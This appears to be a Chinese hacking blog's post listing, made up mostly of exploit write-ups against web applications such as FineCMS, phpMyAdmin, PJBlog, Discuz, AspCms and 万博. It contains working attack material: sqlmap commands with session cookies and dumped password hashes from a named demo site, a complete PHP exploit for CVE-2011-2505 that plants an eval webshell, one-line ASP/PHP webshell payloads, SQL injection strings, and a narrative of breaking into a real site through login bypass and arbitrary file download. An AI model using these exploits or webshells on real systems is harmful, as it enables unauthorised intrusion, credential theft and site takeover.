浏览模式: 标准 | 列表全部文章

[置顶] 声明:转载的朋友请注意

Submitted by admin
2010, July 16, 9:03 AM

转载文章的朋友请注意,若是原创,我皆会标上来源或出处,其他的皆为转载,如果知道来源或出处的话,都会有注明的。

刚刚在网上不小心看到了一篇不是我原创,却写着我原创的文章,我想可能是那位朋友误会了,我的这里也没标明是我原创,而是我转载网上的未知名的作者的文章,请注意,搞的我都不好意思了!

 

汗颜哪!!!

python爬虫网页保存本地

Submitted by admin
2018, January 23, 3:29 PM

不会编程真的是硬伤,想学习下python,不知道能坚持多久,看手册看教程看不下去,太枯燥了,想从实例入手,看看会不会坚持的久一点,今天学了个简单爬虫的例子。 # coding:utf-8 import re import requests import urllib import sys reload(sys) sys.setdefaultencoding('utf-8') # 获取网页内容 urls = "http://top.chinaz.com" r = requests.get(urls) data = r.text # 利用正则查找所有连接 link_list =re.findall(r"(?<=href=\").+?(?=\")|(?<=href=\').+?(?=\')" ,data) for L in link_list: txt='url.txt' f = open(txt,"a+") f.write(L+'\n') f.close() print L 过程中的错误,是保存txt的时候,没保存在for循环之内。
Tags: python

开山斧 0.3.8

Submitted by admin
2016, November 16, 3:26 PM

神器,用过的人知道

» 阅读全文

Tags: 开山斧

FineCMS的注入和getshell

Submitted by admin
2012, November 14, 9:40 AM

 

还没学PHP,先学牛们挖洞来了,牛们见笑了。

程序是FineCMS,找到了个注入,接着其他的就看不下去了,只想利用上就OK了。

注入的文件是finecms\controllers\member\ContentController.php

 

public function editAction() {

        $id       = $this->get('id');

        $data     = $this->content->where('userid=' . $this->memberinfo['id'])->where('id=' . $id)->select(false);

        $catid    = $data['catid'];     \\ http://c0deplay.com

        if (empty($data))  $this->memberMsg('信息不存在');

        if (empty($catid)) $this->memberMsg('信息栏目不存在');

        $model    = $this->cache->get('model');

        $modelid  = $this->cats[$catid]['modelid'];

        $fields   = $model[$modelid]['fields']

 

$id,问题出在这儿,就是利用麻烦了点。

这个是出现在文章编辑的模块,所以,得去注册个用户,发表文章,然后再点击编辑,这些大家都知道的,我略过了。

在编辑文章这儿,抓包,我用的是Live HTTP Replay,如图

 

大小: 104.49 K
尺寸: 500 x 293
浏览: 67 次
点击打开新窗口浏览全图 

 

 

好了  cookie是:

PHPSESSID=135qdpqp4e9vm3sda0b3446c13; CNZZDATA4264051=cnzz_eid=96253715-1352780242-

 

&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0; finecms_member_id=aToyNDM7

 

好了,接着打开sqlmap,开始注入

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7"

大小: 30.53 K
尺寸: 500 x 126
浏览: 25 次
点击打开新窗口浏览全图 

 

有注入,是mysql 5.0的,接着

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" –dbs

 

 

大小: 33.74 K
尺寸: 500 x 155
浏览: 24 次
点击打开新窗口浏览全图 

available databases [2]:

[*] dayrui

[*] information_schema

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --tables -D  "dayrui"

 

 

大小: 87.38 K
尺寸: 500 x 389
浏览: 27 次
点击打开新窗口浏览全图 

找到表名demo_user,接着

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --columns -T "demo_user" users-D "dayrui" -v 0

 

 

大小: 50.3 K
尺寸: 359 x 378
浏览: 24 次
点击打开新窗口浏览全图 

不截图了,太麻烦了

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --dump -C "username" -T "demo_user" -D "dayrui" -v 0

 

 

Database: dayrui

Table: demo_user

[2 entries]

+----------+

| username |

+----------+

| admin    |

| dayrui   |

+----------+

 

 

./sqlmap.py -u "http://demo.finecms.net/index.php?s=member&c=content&a=edit&id=655" --cookie "PHPSESSID=135qdpqp4e9vm3sda0b3446c13;

 

CNZZDATA4264051=cnzz_eid=96253715-1352780242-&ntime=1352780242&cnzz_a=1&retime=1352782758760&sin=none&ltime=1352782758760&rtime=0;

 

finecms_member_id=aToyNDM7" --dump -C "password" -T "demo_user" -D "dayrui" -v 0

 

 

Database: dayrui

Table: demo_user

[2 entries]

+----------------------------------+

| password                         |

+----------------------------------+

| eae9f74652d3191c2868627641128f22 |

| eae9f74652d3191c2868627641128f22 |

 

 

 

解出了密码  admin dayrui   dayrui dayrui

dayrui dayrui 这个是网站创始人权限,登录这个,准备拿shell

 

Finecms这个程序的演示站是linuxapche的搭配,在模板管理那儿,可以直接新建a.php.html来解析利用,但服务器作了限制,如图

 

 

大小: 28.01 K
尺寸: 500 x 140
浏览: 27 次
点击打开新窗口浏览全图 

这个目录不可访问,后台还有备份数据的功能,这个好像利用不了,还有个执行SQL的,不过我的突破点还是在模板那儿,模板所在的目录既然不能执行,那么跳出这个目录就可以了。那儿有个目录跳转的功能,如图

 

 

大小: 59.8 K
尺寸: 500 x 320
浏览: 25 次
点击打开新窗口浏览全图 

http://demo.finecms.net/index.php?s=admin&c=theme&dir=bWVtYmVyLw==&iframe=0

 

这个是跳转的链接,dir后面的是目录了,不过是base64加密的,

所以,构造如下,../../就是Li4vLi4v,输入http://demo.finecms.net/index.php?s=admin&c=theme&dir=Li4vLi4v=&iframe=0

如图,

 

大小: 59 K
尺寸: 500 x 350
浏览: 24 次
点击打开新窗口浏览全图好了,目录已经跳转,那么就直接再新建个模板,就可以直接拿shell了。

结果如图

 

 

大小: 36.79 K
尺寸: 500 x 371
浏览: 29 次
点击打开新窗口浏览全图 

Tags: finecms

今天一站的笔记

Submitted by admin
2012, October 25, 12:02 AM

1,前奏

今天搞一小站,是个asp的,初始以为会很简单,结果浪费了我大半天时间。拿站的时候,我一般是会先扫目录的,看看能不能直接扫到些敏感信息,比如备份文件什么的,有时候直接扫到编辑器和上传页面,就十分快速了。扫完之后,直接打开根目录下的admin_login.asp才发现这程序是my动力3.5的那老古董版本,找出这个版本的注入利用工具,没有破出密码来。

2,扫目录过程

像这一类的站,我还是比较喜欢扫目录多些,拿出了个大集合的字典,慢慢的扫目标站,扫了两遍,也没有什么可利用的地方,没办法,旁注吧。拿出御剑扫了下,发现有三个旁站,那就直接三个一起扫,边扫边看,扫出了个bbs.asp文件,是个简易论坛,像这种论坛,一个是无法利用,功能太简单了,一个是好利用,漏洞太多。直接注册了个用户,登录,进入用户管理中心,首先看看有没有什么上传头像之类的东东,再去发表文章那儿看看能不能利用的。

我一进用户管理中心就直接跳转到了my动力的用户管理中心去了,看来是管理员作了处理了。my动力的用户管理这儿,有个添加文章功能,存在着上传漏洞,拿出明小子 ,抓包上传,正常的图片都能上传上去,就asp asa cer之类的格式的都不行,无法找到网页,asp马儿改成jpg都还是存在的,应该没有被杀,就是利用不了,在这儿浪费了一小段时间。
再去看看扫的目录,发现出来了fckeditor和ewebeditor编辑器,满心欢喜的以为可以搞下了,结果fckeditor的asp和php都关闭上传了,aspx不支持,唯一的收获得php那儿暴出了路径,所这绝对路径保存到TXT文本上,也许等一下用的着呢,路径:D:\inetpub\wwwroot\com\xxoop。

等扫完三个站,全都是动力的,以前的注入漏洞工具又 都利用不了,哪怕上面有管理员留下的两种编辑器也是木办法,无奈,用大字典再扫了遍,还是同样的结果。

3.找注入过程

竟然目录没什么可利用的,那就再找找有什么注入吧,毕竟这老程序,管理员应该有修改过的,就像是那个简易论坛,也许存在着什么可利用的地方呢。

打开google神器,直接inurl:asp,找了一圈,没有找到,那好吧,打开网站一个一个看下吧,反正才三个而已。。。

找啊找的,看到个发表评论的地方,http://www.baidu.com/t**bout.asp?id=99&thetype=news找到了这个注入点,好以,拿出经典的啊D,扫了一下,只能扫出个user_login的表名,这个不是真正的表名,又用域名组合了一些表名进去,结果还是不对,拿出神器sqlmap来扫扫,也无奈,找不到真正的表名。这个站有注入,另外两个是不是也存在同样的问题?打开那两个站,在同样的评论的地方,确实是存在同样的注入点,可惜的是,同样破不出表名来。

3.柳岸花开

无奈了,目录扫不出什么可利用的,注入也找不到,这回郁闷了,这么个小小的站就这么棘手了,我们国内的安全现在倒是做的不错了。

木办法,只好请出神器nmap,扫扫端口,除了常规的21 80端口之外,还有个7001的weblogic httpd,weblogin是啥东西倒是不知道,httpd倒是能猜出来。一般看到3389有开,我都会习惯连上去看看有没有别人留下的shift后门什么的,偶尔也有什么安装了五笔输入法之类的可以突破,这站没开,那就打开网页,输入IP:7001看看吧。

一打开,是个登录页面login.jsp,嘿嘿,那就放到御剑里再萍破见扫扫目录吧。扫了一通,屁也没有。在这个登录页面上输入admin admin,admin admin888,admin 123456之类的弱口令去猜解了下,结果没成,想了下,不知道这页面会不会存在万能密码漏洞呢,输入1'or'1'='1,点登录,哈,奇迹出现,果真登录上去了

大小: 40.36 K
尺寸: 500 x 237
浏览: 53 次
点击打开新窗口浏览全图

上边有个图片维护功能,打开,http://122.XXX.XXX.99:7001/news_itempic.jsp?action=upload&newsid=284,可以直接上传图片也可以下载图片,还有个浏览图片的功能,先试试上传吧,程序限制的挺严的,怎么也突破不了,可能我太菜了,这种上传的话,看起来不难突破的,却偏偏没突破成功。那个下载图片功能却让我眼前一亮,http://xxx.2x4.xx.99:7001/download.jsp?file=20121025.jpg,这个download.jsp看的我心动,试试输入http://xxx.2x4.xx.99:7001/download.jsp?file=download.jsp,嘿嘿,果真跳出来了下载页面

大小: 49.38 K
尺寸: 500 x 359
浏览: 25 次
点击打开新窗口浏览全图

我就接连下载了login.jsp admin.jsp useradd.jsp之类的文件,结果没用啊,又没有什么可利用的,没找到诸如conn.asp config.php之类的有效的信息。郁闷中突然想到刚刚不是有暴出了目标站的绝对路径吗,试试看,输入http://xxx.2x4.xx.99:7001/download.jsp?file=D:\inetpub\wwwroot\com\xxoop\inc\conn.asp,哈,能下载哦,打开文件一看,是mssql,爽死了。赶紧拿出sqltools深度命令成版.exe,靠,连接不上,貌似这服务器是内网。。。。好吧,,我无语了,,,看看另外两个站能不能暴出路径吧,,或者猜猜出绝对路径,试了几次,都不成功,这回又被难住了。期间不知道做了多少无聊事,后来翻翻扫出来的目录的时候,发现了个aspcheck.asp,希望不会再是mssql吧。

打开aspcheck.asp找到了绝对路径,下载conn.asp文件,拿到了数据库地址data_netdebug/data.mdb,直接访问被拒绝,同样的用download.jsp下载数据库,终于可以了,管理员的表名就是user_data,解之,登录后台拿shell,拿shell也有一番问题,平常都习惯了传个一句话用菜刀连接,这回连接上去提示竟然是拒绝访问,大马又传不了,小马也不行,后来用lake2的客户端连接上去了。连接上去来到 jsp站的这个目录,传了个jsp马儿上去就是系统权限了。最后来个留影纪念

大小: 80.66 K
尺寸: 364 x 500
浏览: 40 次
点击打开新窗口浏览全图

phpMyAdmin3 remote code execute php版本 exploit

Submitted by admin
2012, May 20, 11:20 AM

来源:http://www.oldjun.com/blog/index.php/archives/81/

最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。

昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:
一是session.auto_start = 1;
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。

在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp,代码如下:

#!/usr/bin/php
<?php
print_r
('
+---------------------------------------------------------------------------+
pma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
by oldjun(www.oldjun.com)
welcome to www.t00ls.net
mail: oldjun@gmail.com
Assigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
'
);

/**
 * working when the directory:"config" exists and is writeable.
**/
 
if ($argc 3) {
    
print_r('
+---------------------------------------------------------------------------+
Usage: php '
.$argv[0].' host path
host:      target server (ip/hostname)
path:      path to pma3
Example:
php '
.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
'
);
    exit;
}

$host $argv[1];
$path $argv[2];

/**
 * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
if(
strpos($returnstr,'404')){
    exit(
"[-] Exploit Failed! The directory:config do not exists!\n");
}

/**
 * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s'$result$resp);
$token=$resp[3];
$sessionid=$resp[1];
if(
$token && $sessionid){
    echo 
"[+] token:$token\n";
    echo 
"[+] Session ID:$sessionid\n";
}else{
    exit(
"[-] Can't get token and Session ID,Exploit Failed!\n");
}

/**
 * Try to insert shell into session
**/
echo "[+] Try to insert shell into session....\n";
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.

/**
 * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
 * Try to check if the webshell was created successfully
**/
echo "[+] Try to check if the webshell was created successfully....\n";
$content=php_request('config/config.inc.php');
if(
strpos($content,'t00ls')){
    echo 
"[+] Congratulations! Expoilt successfully....\n";
    echo 
"[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit(
"[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
}

function 
php_request($url,$data='',$cookie=''){
    global  
$host$path;
    
    
$method=$data?'POST':'GET';
    
    
$packet $method." ".$path.$url." HTTP/1.1\r\n";
    
$packet .= "Accept: */*\r\n";
    
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    
$packet .= "Host: $host\r\n";
    
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    
$packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    
$packet .= $cookie?"Cookie: $cookie\r\n":"";
    
$packet .= "Connection: Close\r\n\r\n";
    
$packet .= $data?$data:"";

    
$fp fsockopen(gethostbyname($host), 80);
    if (!
$fp) {
    echo 
'No response from '.$host; die;
    }
    
fputs($fp$packet);

    
$resp '';

    while (
$fp && !feof($fp))
        
$resp .= fread($fp1024);

    return 
$resp;
}
    
?>

PJBlog 3.2.9.518 getwebshell 漏洞

Submitted by admin
2012, May 20, 11:17 AM

作者:不走的钟

 
版本:PJblog 3.2.9.518(2012/5/9日时为最新版本)
 
漏洞利用条件:
 
1、使用全静态模式(默认情况是全静态模式)
 
2、用户可以发帖(默认普通用户不能发帖,所以有点鸡肋)
 
漏洞描述:PJblog 3.2.9.518使用js过滤特殊字符,在使用全静态模式下,普通用户发帖即可插入asp一句话木马。
 
 
PJblog 3.2.9.518的安全还是非常不错,密码采用了sha1(pass+salt)方式,salt为6位,在这样的情况下,对注入还是非常有效,即使拿到密码也很难破解。
 
class/cls_logAction.asp部分代码如下:
 
<%
Class logArticle
………………省略………………
outIndex = outIndex & "[""A"";"&AListC&";("&clearT(AList)&")] " & Chr(13)
outIndex = outIndex & "[""G"";"&GListC&";("&clearT(GList)&")] " & Chr(13)
Dim CateKeys, CateItems, CateHKeys, CateHItems
CateKeys = CateDic.Keys
CateItems = CateDic.Items
CateHKeys = CateHDic.Keys
CateHItems = CateHDic.Items
For i = 0 To CateDic.Count -1
outIndex = outIndex & "["""&CateKeys(i)&""";"&CateHItems(i)&";("&clearT(CateItems(i))&")] " & Chr(13)
Next
 
SaveList = SaveToFile(outIndex, "cache/listCache.asp")
 
%>
 
SaveToFile函数是将outIndex内容写入到cache/listCache.asp中。
 
blogpost.asp中调用了 logArticle,部分代码如下:
 
<%
……………………
Set lArticle = New logArticle
lArticle.categoryID = request.Form("log_CateID")
lArticle.logTitle = request.Form("title")
lArticle.logAuthor = memName
lArticle.logEditType = request.Form("log_editType")
lArticle.logIntroCustom = request.Form("log_IntroC")
lArticle.logIntro = request.Form("log_Intro")
lArticle.logWeather = request.Form("log_weather")
lArticle.logLevel = request.Form("log_Level")
lArticle.logCommentOrder = request.Form("log_comorder")
lArticle.logDisableComment = request.Form("log_DisComment")
lArticle.logIsShow = IsShow
lArticle.logIsTop = request.Form("log_IsTop")
lArticle.logIsDraft = request.Form("log_IsDraft")
lArticle.logFrom = request.Form("log_From")
lArticle.logFromURL = request.Form("log_FromURL")
lArticle.logDisableImage = request.Form("log_disImg")
lArticle.logDisableSmile = request.Form("log_DisSM")
lArticle.logDisableURL = request.Form("log_DisURL")
lArticle.logDisableKeyWord = request.Form("log_DisKey")
lArticle.logMessage = request.Form("Message")
lArticle.logTrackback = request.Form("log_Quote")
lArticle.logTags = request.Form("tags")
lArticle.logPubTime = request.Form("PubTime")
lArticle.logPublishTimeType = request.Form("PubTimeType")
If blog_postFile = 2 Then
lArticle.logCname = request.Form("cname")
lArticle.logCtype = request.Form("ctype")
End If
lArticle.logReadpw = pws
lArticle.logPwtips = pwtips
lArticle.logPwtitle = pwtitle
lArticle.logPwcomm = pwcomm
lArticle.logMeta = request.Form("log_Meta")
lArticle.logKeyWords = keyword
lArticle.logDescription = B_description
if request.form("FirstPost") = 1 then
lArticle.isajax = false
lArticle.logIsDraft = false
postLog = lArticle.editLog(request.Form("postbackId"))
else
lArticle.isajax = false
postLog = lArticle.postLog
end if
Set lArticle = Nothing
%>
 
lArticle.logCname = request.Form(“cname”),并没有过滤”<%” 和”%>”
 
漏洞利用方法:
 
1、用户登陆,发表文章,如下图:

大小: 59.18 K
尺寸: 500 x 243
浏览: 46 次
点击打开新窗口浏览全图

2、禁止本地js,必须要使用这步,否则你无法输入’<’和’>’,因为作者已经考虑到安全问题,调用common.js本地过滤,
 
common/common.js 部份内容如下:
 
1
//创建文件夹规则 example:
2
//<input onblur="ReplaceInput(this,window.event)" onkeyup="ReplaceInput(this,window.event)" />
3
function ReplaceInput(obj, cevent){
4
 var str = ["<", ">", "/", "\\", ":", "*", "?", "|", "\"", /[\u4E00-\u9FA5]/g];
5
 if(cevent.keyCode != 37 && cevent.keyCode != 39){
6
 //obj.value = obj.value.replace(/[\u4E00-\u9FA5]/g,'');
7
 for (var i = 0 ; i < str.length ; i++){
8
 obj.value = obj.value.replace(str[i], "");
9
 }
10
 }
11
}
3、在别名处插入<%eval request(9)%>,提交后,即可在cache/listCache.asp中会写入一句话木马,密码为9
 
临时解决方案,禁止普通用户发帖
Tags: pjblog

PHPmyadmin 2.11.4万能密码漏洞

Submitted by admin
2012, May 16, 10:03 PM

PHPmyadmin 2.11.4

PHPmyadmin 2.11.3

两个版本都有此漏洞

我去测试了一下 确实可以用。。。

给你找到一个测试网址http://www.hitag.cn

你们可以试一下

只需要输入账号  密码不需要输入

利用代码如下:
‘localhost’@'@”

 

http://www.cnyzy.cn/blogview.asp?logID=1840

Discuz!X2.5 Release 20120407 Getshell 0day

Submitted by admin
2012, April 28, 11:02 PM

影响版本有:20120407,beta,rc - 专注信息安全( a. E* C! }% B4 U

1.注册任意账户 90 Security Team, B5 t8 Y$ K2 g% q! f+ L

2.登陆用户,发表blog日志(注意是日志) 9 g& r4 t9 z7 j- r
这里是我们自己的交流平台,是属于我们90sec所有成员的技术分享平台!5 {" |0 U& u: T5 @
3.添加图片,选择网络图片,地址:{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
我们90sec所有成员的技术分享平台!  l; x+ b5 p: T* J+ U' |' ~
4.访问日志,论坛根目录下生成demo.php,一句发密c

Tags: discuz

baigo bbs&baigo cms

Submitted by admin
2011, December 11, 3:41 PM

来源:http://www.t00ls.net/thread-19635-1-1.html

1. - 低调求发展2 w* h: L9 K2 u% a! q; X
user_reg.asp

'注册
case "user_reg_do"

        user_name = trim(request.form("user_name"))
        user_pass = trim(request.form("user_pass"))
        user_pass_again = trim(request.form("user_pass_again"))
        user_mail = trim(request.form("user_mail"))
        user_pass_question = trim(request.form("user_pass_question"))
        user_pass_answer = trim(request.form("user_pass_answer"))
        user_sex = trim(request.form("user_sex"))
        user_www = trim(request.form("user_www"))
        user_sign = trim(request.form("user_sign"))
        user_face = trim(request.form("user_face"))
        user_qq = trim(request.form("user_qq"))
        user_msn = trim(request.form("user_msn"))
        %>
简单过滤空格
if instr(user_name,"        ") > 0 or instr(user_name,"#") > 0 or instr(user_name,"`") > 0 or instr(user_name,"|") > 0 or instr(user_name," ") > 0 or instr(user_name," ") > 0 or Instr(user_name,"%") > 0 or Instr(user_name,"&") > 0 or Instr(user_name,"ヴ") > 0 or Instr(user_name,"ヂ") > 0 or Instr(user_name,"ゼ") > 0 or Instr(user_name,"ヅ") > 0 or Instr(user_name,"") > 0 or Instr(user_name,"+") > 0 or Instr(user_name,"=") > 0  or Instr(user_name,"'") > 0 then
        session("message") = "<li>用户名中不能含有特殊符号</li>"
        session("message") = session("message") & "<li><a href=""javascript:history.back();"">返回</a></li>"
没有检测;分号   可以注册duos.asp;1的账户
X- Q* _
有个特性是注册会员上传的头像是根据自己名字来保存图片  
注册duos.asp;1的账户 ==》上传脚本.jpg==》自动保存为 duos.asp;1.jpg (这点可以利用IIS6.0的解析漏洞) - 低调求发展" w$ W1 i  E" j' l6 i6 G1 K
T00LS! ~0 C7 A6 ?/ e+ v6 I
2.
XSS很多。  这个对论坛影响较大。
Tags: baigo

Aspcms 稳定版1.5 0day

Submitted by admin
2011, December 3, 1:45 PM

Author: Virushack

Blog: http://virushack.org

From:www.v5script.org

漏洞文件:editpass.asp

漏洞代码:

  1. Dim   linkman  gender  phone  mobile  email  qq  address  postcode 
  2. if   isnul  rCookie  “loginstatus”   ))   then   wCookie  “loginstatus”   0  
  3. if   rCookie  “loginstatus”   )=  1     then  
  4. set   rsObj  conn  Exec   “select * from aspcms_Users where UserID=” & trim  rCookie  “userID”   )),  “r1″ ) 
  5. 直接通过rCookie 取得userid带入查询.

再看看 rcookie函数的处理

  1. ‘读cookies
  2. Function rCookie(cookieName)
  3. rCookie=request.cookies(cookieName)
  4. End Function

直接通过cookies取得

利用:
注册个帐号让 loginstatus不为空
然后 cookies注入 userID 不管你手注还是工具 都行 我这是用火狐的cookies插件

Exploit:UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins
效果图:

大小: 8.29 K
尺寸: 300 x 95
浏览: 191 次
点击打开新窗口浏览全图

后台拿shell 就更简单了  插一句话什么都行  我这就用最稳当的方法

http://127.0.0.1/admin/_Style/AspCms_TemplateEdit.asp?filename=a.asp

大小: 9.23 K
尺寸: 300 x 216
浏览: 115 次
点击打开新窗口浏览全图

http://127.0.0.1/Templates/default/html/a.asp

Google Dork: Powered by AspCms v1.5

Tags: aspcms

万博企业网站管理系统注入漏洞

Submitted by admin
2011, November 18, 10:56 PM

FROM http://www.st999.cn/blog

这两天拿站的时候,好几回都遇到个叫万博的企业管理系统,今天有时间就下载过来看了看,找到了个注入漏洞,郁闷的是,得手工,没法用工具,累人的事。因为已经找到了一个,我就没兴趣接着往下看了。

这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。

MemberLogin.asp源码如下:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
<% Option Explicit %>
<%Response.Charset="utf-8"%>
<!--#include file="../Include/Const.asp"-->
<!--#include file="../Include/ConnSiteData.asp"-->
<!--#include file="../Include/Md5.asp"-->
<%
if request.QueryString("Action")="Out" then
   session.contents.remove "MemName"
   session.contents.remove "GroupID"
   session.contents.remove "GroupLevel"
   session.contents.remove "MemLogin"
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if

Public ErrMsg(3)
   ErrMsg(0)="·登录名不正确,请返回。"
   ErrMsg(1)="·登录密码不正确,请返回。"
   ErrMsg(2)="·帐号非使用状态,请返回。"

dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
LoginName=trim(request.form("LoginName"))
LoginPassword=Md5(request.form("LoginPassword"))
set rs = server.createobject("adodb.recordset")
sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
rs.open sql,conn,1,3
if rs.bof and rs.eof then
   WriteMsg(ErrMsg(0))
   response.end
else
   MemName=rs("MemName")
   Password=rs("Password")
   GroupID=rs("GroupID")
   GroupName=rs("GroupName")
   Working=rs("Working")
end if

if LoginPassword<>Password then
   WriteMsg(ErrMsg(1))
   response.end
end if

if not Working then
   WriteMsg(ErrMsg(2))
   response.end
end if
 
if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
   rs("LastLoginTime")=now()
   rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
   rs("LoginTimes")=rs("LoginTimes")+1
   rs.update
   rs.close
   set rs=nothing
   session("MemName")=MemName
   session("GroupID")=GroupID
   '===========
   set rs = server.createobject("adodb.recordset")
   sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
   rs.open sql,conn,1,1
   session("GroupLevel")=rs("GroupLevel")
   rs.close
   set rs=nothing
  '===========
   session("MemLogin")="Succeed"
   session.timeout=60
   response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
   response.end
end if
%>

看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。

手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1

真是郁闷的手工,这个JB烂的洞。。。

 

Tags: 万博, nweb
Records:46812345678910»